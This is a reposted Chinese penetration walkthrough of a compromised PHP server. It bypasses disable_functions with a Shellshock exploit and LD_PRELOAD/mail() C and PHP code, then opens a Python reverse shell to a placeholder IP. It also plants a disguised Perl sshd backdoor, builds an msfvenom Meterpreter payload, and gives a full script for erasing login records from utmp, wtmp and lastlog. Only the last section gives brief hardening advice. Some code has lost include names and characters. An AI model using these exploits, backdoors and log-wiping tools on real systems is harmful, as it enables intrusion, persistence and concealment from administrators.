安基網 首頁 安全 滲透測試 查看內容

黑客滲透提權過程解析

2019-10-23 08:42| 投稿: xiaotiger |來自: 互聯網


免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

摘要: 0x01 前言Getshell 的漏洞分析在:https://getpass.cn/2019/09/06/An-APP-distribution-system-upload-vulnerability/0x02 PHP Version 5.6.30disable_functions:passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openl

0x01 前言

Getshell 的漏洞分析在:

https://getpass.cn/2019/09/06/An-APP-distribution-system-upload-vulnerability/

0x02

PHP Version 5.6.30
disable_functions:
passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru
sendmail_path:/usr/sbin/sendmail -t -i
mysql: mysqlnd 5.0.11-dev - 20120503

0x03

# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions) 
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variableswhose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variablesthat
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
// PHP will let the user modify ANY environment variable!
mail("[email protected]","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>

0x04

#define _GNU_SOURCE
#include
#include
#include
__attribute__ ((__constructor__)) void preloadme (void)
{
unsetenv("LD_PRELOAD");
const char* cmdline = getenv("EVIL_CMDLINE");
system(cmdline);
}

然后上傳調用文件 php

 echo "

example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "

cmdline: " . $evil_cmdline . "

";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "

output:
" . nl2br(file_get_contents($out_path)) . "

";
unlink($out_path);
?>

利用 unix 的LD_PRELOAD和 php 的putenv

#include
__attribute__((constructor)) void l3yx(){
unsetenv("LD_PRELOAD");
system(getenv("_evilcmd"));
}

利用 php 文件

putenv("_evilcmd=echo 1>/root/tmp/222222");
putenv("LD_PRELOAD=./evil.so");
mail('a','a','a','a');

執行后去刷新了一下目錄,!!!!我去,成功了!

但是這樣執行代碼總是有眾多不便的,比如沒有回顯,把命令帶參數執行的時候會報錯等

0x05

如果你是一個細心的人你會發現這里的 bypass_disablefunc.c(來自 github)和教程中提及的不一樣,多出了使用for 循環修改 LD_PRELOAD 的首個字符改成 ,如果你略微了解 C 語言就會知道 是 C 語言字符串結束標記,原因注釋里有:unsetenv("LD_PRELOAD") 在某些 Linux 發行版不一定生效(如 CentOS),這樣一個小動作能夠讓系統原有的 LD_PRELOAD 環境變量自動失效

然后從環境變量 EVIL_CMDLINE 中接收 bypass_disablefunc.php 傳遞過來的待執行的命令行。

用命令:

gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so

將 bypass_disablefunc.c 編譯為共享對象 bypass_disablefunc_x64.so:

要根據目標架構編譯成不同版本,在 x64 的環境中編譯,若不帶編譯選項則默認為 x64,若要編譯成 x86 架構需要加上 -m32 選項。

#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '';
}
}
// executive command
system(cmdline);
}

基本原理

前提是在 Linux 中已安裝并啟用 sendmail 程序。

php 的 mail() 函數在執行過程中會默認調用系統程序 /usr/sbin/sendmail,而 /usr/sbin/sendmail 會調用 getuid()。如果我們能通過 LD_PRELOAD 的方式來劫持 getuid(),再用 mail() 函數來觸發 sendmail 程序進而執行被劫持的 getuid(),從而就能執行惡意代碼了。

細化一下:

編寫一個原型為 uid_t getuid(void); 的 C 函數,內部執行攻擊者指定的代碼,并編譯成共享對象 evil.so;

運行 PHP 函數 putenv(),設定環境變量 LD_PRELOAD 為 evil.so,以便后續啟動新進程時優先加載該共享對象;

運行 PHP 的 mail() 函數,mail() 內部啟動新進程 /usr/sbin/sendmail,由于上一步 LD_PRELOAD 的作用,sendmail 調用的系統函數 getuid() 被優先級更好的 evil.so 中的同名 getuid() 所劫持;

達到不調用 PHP 的各種命令執行函數(system()、exec() 等等)仍可執行系統命令的目的。

#include 
#include
#include
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
gcc -shared -fPIC bypass.c -o byapss.so

0x06

可以執行命令了,執行上反彈 shell,有交互的 shell 舒服多了,這里用 python 的反彈腳本,一般系統有裝 python 腳本,我都會先用 pyhton,因為有一些系統的不一樣,bash 或者 nc 比較麻煩。

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",7777))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

監聽一波

反彈成功了

執行uname -a看了下版本

Linux cloud 2.6.32-642.el6.x86_64 #1 SMP Tue May 10 17:27:01 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

在自己的 Linux 環境編譯然后上傳到目標機子上面執行

去連 ssh 的時候有些管理員會把 ssh 的端口改了,用命令netstat -nlp就可以看到了。已經成功了,用戶名為firefart密碼是剛設置的 123456。

0x07

登陸目標機子后,記得及時恢復 /etc/passwd

cp /tmp/passwd.bak /etc/passwd

那些 pam 補丁、隱藏文件、suid、inetd 等都可以用作后門,看你環境。

1、這個 ssh 后門偽裝成一個 perl 腳本,名為 sshd,位于 /usr/sbin/sshd , 將系統原先的 sshd 移到 /usr/bin 下

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

2、將真正的 sshd 移至 /usr/bin/sshd

mv /usr/sbin/sshd /usr/bin/sshd

3、將后門 sshd (perl 腳本移動至 /usr/sbin/sshd),并授予執行權限

chmod +x /usr/sbin/sshd

4、重啟 ssh 服務

/etc/init.d/sshd restart

5、連接后門,記得安裝好 socat

sudo yum install socat
#socat STDIO TCP4:目標ip:ssh端口一般是22,sourceport=31334
socat STDIO TCP4:127.0.0.1:22,sourceport=31334

0x08

當然做內網滲透必不可少的就是 msf 了,如果是 Windows 的話推薦使用CobaltStrike非常 nice 的一個工具。

1、先生成一個后門

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.79.132 LPORT=4455 -f elf > shell.elf

2、把 shell.elf 上傳到目標機子上面運行

3、在本地執行監聽

use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4455
exploit

4、執行后門反彈 Meterpreter 的會話

chmod +x ./shell.elf
./shell.elf

5、查看跳板機處于哪幾個網段

run get_local_subnets

但是我這個是屬于外網的機子,后來想了一下感覺都不是內網一點意思都沒有。。。

0x09

走之后記得清理痕跡,以防被溯源或者被管理員發現了。下面附上一個腳本供大家使用:

import os, struct, sys
from pwd import getpwnam
from time import strptime, mktime
from optparse import OptionParser
UTMPFILE = "/var/run/utmp"
WTMPFILE = "/var/log/wtmp"
LASTLOGFILE = "/var/log/lastlog"
LAST_STRUCT = 'I32s256s'
LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT)
XTMP_STRUCT = 'hi32s4s32s256shhiii4i20x'
XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT)
def getXtmp(filename, username, hostname):
xtmp = ''
try:
fp = open(filename, 'rb')
while True:
bytes = fp.read(XTMP_STRUCT_SIZE)
if not bytes:
break
data = struct.unpack(XTMP_STRUCT, bytes)
record = [(lambda s: str(s).split("", 1)[0])(i) for i in data]
if (record[4] == username and record[5] == hostname):
continue
xtmp += bytes
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return xtmp
def modifyLast(filename, username, hostname, ttyname, strtime):
try:
p = getpwnam(username)
except:
showMessage('No such user.')
timestamp = 0
try:
str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S')
timestamp = int(mktime(str2time))
except:
showMessage('Time format err.')
data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname)
try:
fp = open(filename, 'wb')
fp.seek(LAST_STRUCT_SIZE * p.pw_uid)
fp.write(data)
except:
showMessage('Cannot open file: %s' % filename)
finally:
fp.close()
return True
def showMessage(msg):
print msg
exit(-1)
def saveFile(filename, contents):
try:
fp = open(filename, 'w+b')
fp.write(contents)
except IOError as e:
showMessage(e)
finally:
fp.close()
if __name__ == '__main__':
usage = 'usage: logtamper.py -m 2 -u b4dboy -i 192.168.0.188
logtamper.py -m 3 -u b4dboy -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12'
parser = OptionParser(usage=usage)
parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]')
parser.add_option('-t', '--ttyname', dest='TTYNAME')
parser.add_option('-f', '--filename', dest='FILENAME')
parser.add_option('-u', '--username', dest='USERNAME')
parser.add_option('-i', '--hostname', dest='HOSTNAME')
parser.add_option('-d', '--dateline', dest='DATELINE')
(options, args) = parser.parse_args()
if len(args) < 3:
if options.MODE == '1':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.')
if options.FILENAME == None:
options.FILENAME = UTMPFILE
# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)
elif options.MODE == '2':
if options.USERNAME == None or options.HOSTNAME == None:
showMessage('+[Warning]: Incorrect parameter.')
if options.FILENAME == None:
options.FILENAME = WTMPFILE
# tamper
newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME)
saveFile(options.FILENAME, newData)
elif options.MODE == '3':
if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None:
showMessage('+[Warning]: Incorrect parameter.')
if options.FILENAME == None:
options.FILENAME = LASTLOGFILE
# tamper
modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE)
else:
parser.print_help()

0x10

1、此次滲透的入口點還是目標站點的程序出現的上傳漏洞,應該對程序的上傳點做過濾加白名單。

2、其實寶塔的功能已經對 php 的執行命令的函數做了嚴格的封鎖,但是還是有漏網之魚,在寶塔禁用的函數基礎上的 disable_function 里面加上putenv函數的禁用。

3、被用臟牛提權,這個是內核的漏洞,應該及時升級內核版本,執行以下命令,需要重啟。

Centos/RHEL 更新

sudo yum update

Ubuntu/Debian 更新

sudo apt-get update && sudo apt-get dist-upgrade

4、如果被植入后門了

應該及時查應該及時查看和本機的連接情況,可以用 netstat 查看。

查看用戶是否有改動, cat /etc/passwd 。

查看可疑進程 top

看和本機的連接情況,可以用 netstat 查看。

結束語:本人對計算機范疇的軟件、網絡、數據庫等很有研究,如果你在寫計算機論文方面有困難哪的話,可以與我溝通。



小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

本文出自:https://www.toutiao.com/a6750531124537082376/

免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


鮮花

握手

雷人

路過

雞蛋

相關閱讀

最新評論

 最新
返回頂部
湖北快3 购买技巧